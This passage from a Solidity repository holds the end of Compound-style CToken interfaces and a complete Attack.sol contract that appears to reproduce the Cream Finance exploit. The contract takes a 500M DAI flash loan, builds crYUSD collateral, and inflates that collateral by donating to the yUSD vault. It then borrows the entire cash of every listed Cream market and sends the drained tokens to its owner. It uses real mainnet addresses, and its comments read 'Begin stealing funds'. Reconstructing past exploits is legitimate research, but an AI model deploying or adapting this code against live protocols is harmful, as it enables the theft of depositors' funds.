204 | event Approval(address indexed owner, address indexed spender, uint amount);
205 |
206 | /**
207 | * @notice Failure event
208 | */
209 | event Failure(uint error, uint info, uint detail);
210 |
211 |
212 | /*** User Interface ***/
213 |
214 | function transfer(address dst, uint amount) external virtual returns (bool);
215 | function transferFrom(address src, address dst, uint amount) external virtual returns (bool);
216 | function approve(address spender, uint amount) external virtual returns (bool);
217 | function allowance(address owner, address spender) external virtual view returns (uint);
218 | function balanceOf(address owner) external virtual view returns (uint);
219 | function balanceOfUnderlying(address owner) external virtual returns (uint);
220 | function getAccountSnapshot(address account) external virtual view returns (uint, uint, uint, uint);
221 | function borrowRatePerBlock() external virtual view returns (uint);
222 | function supplyRatePerBlock() external virtual view returns (uint);
223 | function totalBorrowsCurrent() external virtual returns (uint);
224 | function borrowBalanceCurrent(address account) external virtual returns (uint);
225 | function borrowBalanceStored(address account) public virtual view returns (uint);
226 | function exchangeRateCurrent() public virtual returns (uint);
227 | function exchangeRateStored() public virtual view returns (uint);
228 | function getCash() external virtual view returns (uint);
229 | function accrueInterest() public virtual returns (uint);
230 | function seize(address liquidator, address borrower, uint seizeTokens) external virtual returns (uint);
231 |
232 |
233 | /*** Admin Functions ***/
234 |
235 | function _setPendingAdmin(address payable newPendingAdmin) external virtual returns (uint);
236 | function _acceptAdmin() external virtual returns (uint);
237 | function _setComptroller(ComptrollerInterface newComptroller) public virtual returns (uint);
238 | function _setReserveFactor(uint newReserveFactorMantissa) external virtual returns (uint);
239 | function _reduceReserves(uint reduceAmount) external virtual returns (uint);
240 | function _setInterestRateModel(InterestRateModel newInterestRateModel) public virtual returns (uint);
241 | }
242 |
243 | contract CErc20Storage {
244 | /**
245 | * @notice Underlying asset for this CToken
246 | */
247 | address public underlying;
248 | }
249 |
250 | abstract contract CErc20Interface is CErc20Storage {
251 |
252 | /*** User Interface ***/
253 |
254 | function mint(uint mintAmount) external virtual returns (uint);
255 | function redeem(uint redeemTokens) external virtual returns (uint);
256 | function redeemUnderlying(uint redeemAmount) external virtual returns (uint);
257 | function borrow(uint borrowAmount) external virtual returns (uint);
258 | function repayBorrow(uint repayAmount) external virtual returns (uint);
259 | function repayBorrowBehalf(address borrower, uint repayAmount) external virtual returns (uint);
260 | function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external virtual returns (uint);
261 |
262 |
263 | /*** Admin Functions ***/
264 |
265 | function _addReserves(uint addAmount) external virtual returns (uint);
266 | }
267 |
268 | contract CDelegationStorage {
269 | /**
270 | * @notice Implementation address for this contract
271 | */
272 | address public implementation;
273 | }
274 |
275 | abstract contract CDelegatorInterface is CDelegationStorage {
276 | /**
277 | * @notice Emitted when implementation is changed
278 | */
279 | event NewImplementation(address oldImplementation, address newImplementation);
280 |
281 | /**
282 | * @notice Called by the admin to update the implementation of the delegator
283 | * @param implementation_ The address of the new implementation for delegation
284 | * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation
285 | * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation
286 | */
287 | function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public virtual;
288 | }
289 |
290 | abstract contract CDelegateInterface is CDelegationStorage {
291 | /**
292 | * @notice Called by the delegator on a delegate to initialize it for duty
293 | * @dev Should revert if any issues arise which make it unfit for delegation
294 | * @param data The encoded bytes data for any initialization
295 | */
296 | function _becomeImplementation(bytes memory data) public virtual;
297 |
298 | /**
299 | * @notice Called by the delegator on a delegate to forfeit its responsibility
300 | */
301 | function _resignImplementation() public virtual;
302 | }
--------------------------------------------------------------------------------
/contracts/Attack.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.8;
2 |
3 | import "@openzeppelin/contracts/access/Ownable.sol";
4 | import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
5 | import "./Brother.sol";
6 | import "./interfaces/IERC3156FlashBorrower.sol";
7 | import "./interfaces/IERC3156FlashLender.sol";
8 | import "./interfaces/IyDAI.sol";
9 | import "./interfaces/IySwap.sol";
10 | import "./interfaces/IyUSD.sol";
11 | import "./interfaces/IcrYUSD.sol";
12 | import "./interfaces/IcrETH.sol";
13 | import "./interfaces/IUnitroller.sol";
14 | import "./interfaces/Uniswap.sol";
15 | import "./interfaces/IStableSwapCompound.sol";
16 | import "./interfaces/IYVaultPeak.sol";
17 | import "./interfaces/IWETH.sol";
18 | import "./interfaces/IUSDT.sol";
19 | import "./interfaces/compound/CTokenInterfaces.sol";
20 |
21 | import "hardhat/console.sol";
22 |
23 |
24 | contract Attack is Ownable, IERC3156FlashBorrower {
25 | enum Action {NORMAL, OTHER}
26 |
27 | Brother brother;
28 |
29 | IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
30 | address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
31 | address DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
32 | uint256 DAI_AMOUNT = 500000000000000000000000000; // amount for flash borrow
33 |
34 | address yDAI = 0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01;
35 | address ySwap = 0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51;
36 | // Curve Y Pool yUSD (yUSD)
37 | address yUSD = 0x4B5BfD52124784745c1071dcB244C6688d2533d3;
38 | // Curve.fi yDAI/yUSDC/yUSDT/yTUSD
39 | address fourYPool = 0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8;
40 | // Cream yUSD
41 | address crYUSD = 0x4BAa77013ccD6705ab0522853cB0E9d453579Dd4;
42 | address DUSD = 0x5BC25f649fc4e26069dDF4cF4010F9f706c23831;
43 | // Curve DUSD MetaPool. 3Pool to allow swaps between DUSD / DAI / USDC / USDT
44 | address DUSDPool = 0x8038C01A0390a8c547446a0b2c18fc9aEFEcc10c;
45 | address crETH = 0xD06527D5e56A3495252A528C4987003b712860eE;
46 | address crCRETH2 = 0xfd609a03B393F1A1cFcAcEdaBf068CAD09a924E2;
47 | address crXSUSHI = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2;
48 | address XSUSHI = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272;
49 | address crWNXM = 0xeFF039C3c1D668f408d09dD7B63008622a77532C;
50 | address WNXM = 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE;
51 | address crPERP = 0x299e254A8a165bBeB76D9D69305013329Eea3a3B;
52 | address PERP = 0xbC396689893D065F41bc2C6EcbeE5e0085233447;
53 | address crRUNE = 0x8379BAA817c5c5aB929b03ee8E3c48e45018Ae41;
54 | address RUNE = 0x3155BA85D5F96b2d030a4966AF206230e46849cb;
55 | address crDPI = 0x2A537Fa9FFaea8C1A41D3C2B68a9cb791529366D;
56 | address DPI = 0x1494CA1F11D487c2bBe4543E90080AeBa4BA3C2b;
57 | address crUNI = 0xe89a6D0509faF730BD707bf868d9A2A744a363C7;
58 | address UNI = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984;
59 | address crUSDC = 0x44fbeBd2F576670a6C33f6Fc0B00aA8c5753b322;
60 | address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
61 | address crFEI = 0x8C3B7a4320ba70f8239F83770c4015B5bc4e6F91;
62 | address FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;
63 | address crUSDT = 0x797AAB1ce7c01eB727ab980762bA88e7133d2157;
64 | address USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
65 | address crYVCurvestETH = 0x1F9b4756B008106C806c7E64322d7eD3B72cB284;
66 | address YVCurvestETH = 0xdCD90C7f6324cfa40d7169ef80b12031770B4325;
67 | address crGNO = 0x523EFFC8bFEfC2948211A05A905F761CBA5E8e9E;
68 | address GNO = 0x6810e776880C02933D47DB1b9fc05908e5386b96;
69 | address crFTT = 0x10FDBD1e48eE2fD9336a482D746138AE19e649Db;
70 | address FTT = 0x50D1c9771902476076eCFc8B2A83Ad6b9355a4c9;
71 | address crYGG = 0x4112a717edD051F77d834A6703a1eF5e3d73387F;
72 | address YGG = 0x25f8087EAD173b73D6e8B84329989A8eEA16CF73;
73 |
74 | // Unitroller
75 | address UnitrollerAddress = 0x3d5BC3c8d13dcB8bF317092d84783c2697AE9258;
76 | address UNISWAP_V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
77 | address YVaultPeakProxy = 0xA89BD606d5DadDa60242E8DEDeebC95c41aD8986;
78 |
79 | modifier onlyBrother {
80 | require(msg.sender == address(brother), "Not my brother");
81 | _;
82 | }
83 |
84 | fallback () external payable {}
85 |
86 | receive () external payable {}
87 |
88 | function start(Brother _brother) external onlyOwner {
89 | brother = _brother;
90 |
91 | flashBorrow(DAI, DAI_AMOUNT);
92 | moveFunds();
93 |
94 | console.log('gg cream!');
95 | }
96 |
97 | function flashBorrow(address token, uint amount) internal {
98 | // bytes memory data = abi.encode(Action.NORMAL);
99 | uint256 _allowance = IERC20(token).allowance(address(this), address(lender));
100 | uint256 _fee = lender.flashFee(token, amount);
101 | uint256 _repayment = amount + _fee;
102 | IERC20(token).approve(address(lender), _allowance + _repayment);
103 | lender.flashLoan(this, token, amount, "");
104 | }
105 |
106 | function onFlashLoan(
107 | address initiator,
108 | address token,
109 | uint amount,
110 | uint fee,
111 | bytes calldata data
112 | ) external override returns (bytes32) {
113 | require(msg.sender == address(lender), "FlashBorrower: Untrusted lender");
114 | require(initiator == address(this), "FlashBorrower: Untrusted loan initiator");
115 |
116 | attack();
117 |
118 | return keccak256("ERC3156FlashBorrower.onFlashLoan");
119 |
120 | }
121 |
122 | function attack() internal {
123 | // Swap DAI for yDAI
124 | IERC20(DAI).approve(yDAI, DAI_AMOUNT);
125 | IyDAI(yDAI).deposit(DAI_AMOUNT);
126 | uint yDaiBalance = IERC20(yDAI).balanceOf(address(this));
127 |
128 | // Swap yDAI for fourYPool
129 | IERC20(yDAI).approve(ySwap, yDaiBalance);
130 | uint256[4] memory amounts = [yDaiBalance, 0, 0, 0];
131 | IySwap(ySwap).add_liquidity(amounts, 0);
132 | uint fourYPoolBalance = IERC20(fourYPool).balanceOf(address(this));
133 |
134 | // Swap fourYPool for yUSD
135 | IERC20(fourYPool).approve(yUSD, fourYPoolBalance);
136 | IyUSD(yUSD).deposit(fourYPoolBalance);
137 | uint yUSDBalance = IERC20(yUSD).balanceOf(address(this));
138 |
139 | // Swap yUSD for crYUSD
140 | IERC20(yUSD).approve(crYUSD, yUSDBalance);
141 | IcrYUSD(crYUSD).mint(yUSDBalance);
142 | // console.log('crYUSD balance %s',IERC20(crYUSD).balanceOf(address(this)));
143 |
144 | // Use crYUSD as collateral
145 | address[] memory cTokens = new address[](1);
146 | cTokens[0] = crYUSD;
147 | IUnitroller(UnitrollerAddress).enterMarkets(cTokens);
148 |
149 | brother.flashLoanAAVE();
150 | // brother contract will execute continueAttack function
151 |
152 | // burn 4pool tokens for yDAI
153 | fourYPoolBalance = IERC20(fourYPool).balanceOf(address(this));
154 | uint yDaiOut = 445331495265152128661273376; // how to get this number? 99% of fourYPoolBalance?
155 | amounts = [yDaiOut, 0, 0, 0];
156 | IySwap(ySwap).remove_liquidity_imbalance(amounts, fourYPoolBalance);
157 | // swap yDAI for DAI
158 | IyDAI(yDAI).withdraw(IERC20(yDAI).balanceOf(address(this)));
159 |
160 | // swap some USDC to DAI to pay back loan
161 | uint DAIToBuy = DAI_AMOUNT - IERC20(DAI).balanceOf(address(this));
162 | ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({
163 | tokenIn: USDC,
164 | tokenOut: DAI,
165 | fee: 500,
166 | recipient: address(this),
167 | deadline: type(uint).max,
168 | amountInMaximum: type(uint).max,
169 | amountOut: DAIToBuy,
170 | sqrtPriceLimitX96: 0
171 | });
172 | IERC20(USDC).approve(UNISWAP_V3_ROUTER, type(uint).max);
173 | ISwapRouter(UNISWAP_V3_ROUTER).exactOutputSingle(params);
174 |
175 | // loan with automatically get repaid
176 | }
177 |
178 | function continueAttack() external onlyBrother {
179 | // Brother contract have transferred ~1B crYUSD and ~500M yUSD
180 | uint DUSDPOOlBalance = IERC20(DUSD).balanceOf(DUSDPool);
181 | uint USDCAmountToBuy = 7453002766252; // how was this number computed? dusd * 2?
182 | ISwapRouter.ExactOutputSingleParams memory params = ISwapRouter.ExactOutputSingleParams({
183 | tokenIn: WETH,
184 | tokenOut: USDC,
185 | fee: 3000,
186 | recipient: address(this),
187 | deadline: type(uint).max,
188 | amountInMaximum: type(uint).max,
189 | amountOut: USDCAmountToBuy,
190 | sqrtPriceLimitX96: 0
191 | });
192 | IERC20(WETH).approve(UNISWAP_V3_ROUTER, type(uint).max);
193 | ISwapRouter(UNISWAP_V3_ROUTER).exactOutputSingle(params);
194 | IERC20(USDC).approve(DUSDPool, type(uint).max);
195 | IStableSwapCompound(DUSDPool).exchange_underlying(2, 0, USDCAmountToBuy / 2, 0);
196 | DUSDPOOlBalance = IERC20(DUSD).balanceOf(DUSDPool);
197 | uint myDUSDBalance = IERC20(DUSD).balanceOf(address(this));
198 |
199 | IYVaultPeak(YVaultPeakProxy).redeemInYusd(myDUSDBalance, 0);
200 | IyUSD(yUSD).withdraw();
201 | uint totalAssets = IyUSD(yUSD).totalAssets();
202 | // Here is the exploit: donate double existing amount yUSD to yUSD Vault.
203 | // This doubles the value of yUSD so crYUSD collateral have doubled in value
204 | IERC20(fourYPool).transfer(yUSD, totalAssets);
205 |
206 | // Begin stealing funds
207 |
208 | // borrow all ETH using crETH as collateral
209 | uint ethBalance = crETH.balance;
210 | IcrETH(crETH).borrow(ethBalance);
211 | // convert to WETH
212 | IWETH(WETH).deposit{value: ethBalance}();
213 |
214 | // send all WETH to brother contract so it can pay back flashloan
215 | IERC20(WETH).transfer(address(brother), IERC20(WETH).balanceOf(address(this)));
216 |
217 | // borrow crCRETH2
218 | uint balance = CTokenInterface(crCRETH2).getCash();
219 | CErc20Interface(crCRETH2).borrow(balance);
220 |
221 | // borrow crXSUSHI
222 | balance = CTokenInterface(crXSUSHI).getCash();
223 | CErc20Interface(crXSUSHI).borrow(balance);
224 |
225 | // borrow crXSUSHI
226 | balance = CTokenInterface(crWNXM).getCash();
227 | CErc20Interface(crWNXM).borrow(balance);
228 |
229 | // borrow crPERP
230 | balance = CTokenInterface(crPERP).getCash();
231 | CErc20Interface(crPERP).borrow(balance);
232 |
233 | // borrow crRUNE
234 | balance = CTokenInterface(crRUNE).getCash();
235 | CErc20Interface(crRUNE).borrow(balance);
236 |
237 | // borrow crDPI
238 | balance = CTokenInterface(crDPI).getCash();
239 | CErc20Interface(crDPI).borrow(balance);
240 |
241 | // borrow crUNI
242 | balance = CTokenInterface(crUNI).getCash();
243 | CErc20Interface(crUNI).borrow(balance);
244 |
245 | // borrow crUSDC
246 | balance = CTokenInterface(crUSDC).getCash();
247 | CErc20Interface(crUSDC).borrow(balance);
248 |
249 | // borrow crFEI
250 | balance = CTokenInterface(crFEI).getCash();
251 | CErc20Interface(crFEI).borrow(balance);
252 |
253 | // borrow crUSDT
254 | balance = CTokenInterface(crUSDT).getCash();
255 | CErc20Interface(crUSDT).borrow(balance);
256 |
257 | // borrow crYVCurve-stETH
258 | balance = CTokenInterface(crYVCurvestETH).getCash();
259 | CErc20Interface(crYVCurvestETH).borrow(balance);
260 |
261 | // borrow crGNO
262 | balance = CTokenInterface(crGNO).getCash();
263 | CErc20Interface(crGNO).borrow(balance);
264 |
265 | // borrow crFTT
266 | balance = CTokenInterface(crFTT).getCash();
267 | CErc20Interface(crFTT).borrow(balance);
268 |
269 | // borrow crYGG
270 | balance = CTokenInterface(crYGG).getCash();
271 | CErc20Interface(crYGG).borrow(balance);
272 | }
273 |
274 | function moveFunds() internal {
275 | IERC20(USDC).transfer(owner(), IERC20(USDC).balanceOf(address(this)));
276 | IERC20(fourYPool).transfer(owner(), IERC20(fourYPool).balanceOf(address(this)));
277 | IERC20(XSUSHI).transfer(owner(), IERC20(XSUSHI).balanceOf(address(this)));
278 | IERC20(WNXM).transfer(owner(), IERC20(WNXM).balanceOf(address(this)));
279 | IERC20(PERP).transfer(owner(), IERC20(PERP).balanceOf(address(this)));
280 | IERC20(RUNE).transfer(owner(), IERC20(RUNE).balanceOf(address(this)));
281 | IERC20(DPI).transfer(owner(), IERC20(DPI).balanceOf(address(this)));
282 | IERC20(UNI).transfer(owner(), IERC20(UNI).balanceOf(address(this)));
283 | IERC20(USDC).transfer(owner(), IERC20(crUSDC).balanceOf(address(this)));
284 | IERC20(FEI).transfer(owner(), IERC20(FEI).balanceOf(address(this)));
285 | IUSDT(USDT).transfer(owner(), IERC20(USDT).balanceOf(address(this))); // transfer has no return
286 | IERC20(YVCurvestETH).transfer(owner(), IERC20(YVCurvestETH).balanceOf(address(this)));
287 | IERC20(GNO).transfer(owner(), IERC20(GNO).balanceOf(address(this)));
288 | IERC20(FTT).transfer(owner(), IERC20(FTT).balanceOf(address(this)));
289 | IERC20(YGG).transfer(owner(), IERC20(YGG).balanceOf(address(this)));
290 | }
291 | }
--------------------------------------------------------------------------------